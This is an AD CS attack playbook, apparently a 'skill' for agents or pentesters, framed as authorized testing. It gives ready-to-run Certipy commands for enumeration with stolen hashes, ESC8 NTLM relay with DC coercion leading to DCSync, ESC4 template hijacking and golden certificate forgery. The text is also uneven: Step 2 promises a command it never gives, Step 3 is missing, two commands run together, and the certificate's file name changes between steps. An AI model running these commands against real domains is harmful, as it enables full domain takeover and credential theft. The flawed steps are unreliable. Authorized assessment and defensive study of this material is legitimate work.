Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery.
Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery.
Legal Notice: This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.
Overview
Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper Certified Pre-Owned, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.
Certipy (package certipy-ad, maintained by Oliver Lyak / ly4k) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: ly4k/Certipy and SpecterOps "Certified Pre-Owned".
When to Use
During internal penetration tests and red-team engagements where AD CS is in scope
When a low-privileged domain foothold needs a path to Domain Admin / Domain Controller
To validate that certificate template ACLs and CA configuration are hardened
When testing detection coverage for certificate-based privilege escalation
During purple-team exercises to generate ESC1/ESC8 telemetry for blue-team tuning
Prerequisites
Authorized engagement scope that explicitly includes AD CS exploitation
A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user
Network reachability to a Domain Controller (LDAP/389, LDAPS/636) and the CA host
Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host
Install Certipy:
# Recommended isolated install
pipx install certipy-ad
# Or with pip
pip install certipy-ad
# Verify
certipy --version
For ESC8 relay you also need a coercion tool (Coercer/PetitPotam) and reachable victim machine accounts
Objectives
Enumerate every CA, template, and enrollment endpoint in the forest
Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal
Request a certificate impersonating a privileged target (ESC1 SAN abuse)
Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)
Authenticate with a forged/issued certificate to recover a TGT and NT hash
Document each finding with evidence and remediation guidance
MITRE ATT&CK Mapping
ID
Technique
Application in this skill
T1649
Steal or Forge Authentication Certificates
Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals
Workflow
Step 1: Enumerate AD CS with certipy find
Collect CA and template configuration and flag vulnerable templates. find runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.
# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -text -enabled -hide-admins
# Output only templates Certipy considers vulnerable
certipy find \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -vulnerable -stdout
# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
-dc-ip 10.0.0.100 -vulnerable -stdout
Review the [!] Vulnerabilities block in the output. Each finding is labeled ESC1...ESC16 with the affected template/CA name.
Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)
ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).
Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment
ESC8 abuses the AD CS web enrollment interface (/certsrv/) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).
# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
Certipy writes a dc.pfx. Authenticate as the DC machine account and DCSync:
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
Step 5: Exploit ESC4 — Template ACL hijack
If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.
# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
Step 6: Forge a Golden Certificate (post-compromise persistence)
With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.
# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
-ca 'CORP-CA' -dc-ip 10.0.0.100
# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
Step 7: Shadow Credentials shortcut
If you have write access to a target's msDS-KeyCredentialLink, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).
